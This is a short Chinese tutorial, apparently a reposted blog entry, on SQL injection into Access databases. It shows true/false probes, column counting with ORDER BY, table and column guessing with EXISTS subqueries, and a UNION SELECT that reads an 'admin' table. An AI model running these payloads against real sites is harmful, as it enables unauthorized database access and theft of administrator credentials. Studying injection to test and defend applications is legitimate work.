zoukankan      html  css  js  c++  java
  • Access数据库注入

    表-字段-数据:
    判断注入:

    and 1=1
    and 1=2

    查询语句:

    select * from new where id=14 and 1=1 //条件为真 返回正常
    select * from new where id=14 and 1=2 //条件为假 返回错误
    
    select * from new where id=14 or 1=1 //永真条件会返回数据库中全部结果
    select * from new where id=14 or 1=2 //返回id为14的结果

    猜解字段:

    order by 22 #

    说明:这里判断出来的字段是当前页面所连接的表的字段个数;准确的说是当前页面SQL语句查询数据库里的字段个数,例如select * from news猜出的字段数就是news表中所有字段个数。
    order by 是按照字段数据进行排序,用法为:order by 字段名,之所以能用来判断字段个数是因为,order by 1 <==> 按第一个字段排序,如果查询结果中一共22个字段order by 23就会出错。

    注意:从url上难以分辨当前的数据表是哪一个,但是存在注入的地方都支持查询其他表以及管理员表的数据。

    union select:
    原理:UNION是联合查询,将前后两条查询语句的结果组和到一起返回。SELECT后面的数字只是为了占位置,因为两条查询结果字段数不同的话会出错不会正常返回。
    利用回显的数字,继续深入查询自己想要的数据。


    测试存在注入点之后的操作:
    猜测表名:

    and exists (select * from 表名) //数据库里面存在的表名就返回正常,不存在则返回错误,这个只能凭经验或者暴力猜解

    猜列名称:

    and exists (select 列名 from 表名) 

    利用union查询数据:

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
  • 相关阅读:
    callee与caller
    vi/vim使用进阶: 在VIM中使用GDB调试 – 使用vimgdb
    error: No curses/termcap library found的解决办法
    shell变量详解
    在简历中使用STAR法则
    Hive教程之metastore的三种模式
    分布式服务框架 Zookeeper -- 管理分布式环境中的数据
    ZooKeeper典型应用场景
    HBase Java API类介绍
    Spark使用总结与分享
  • 原文地址:https://www.cnblogs.com/yjxing/p/11504470.html
Copyright © 2011-2022 走看看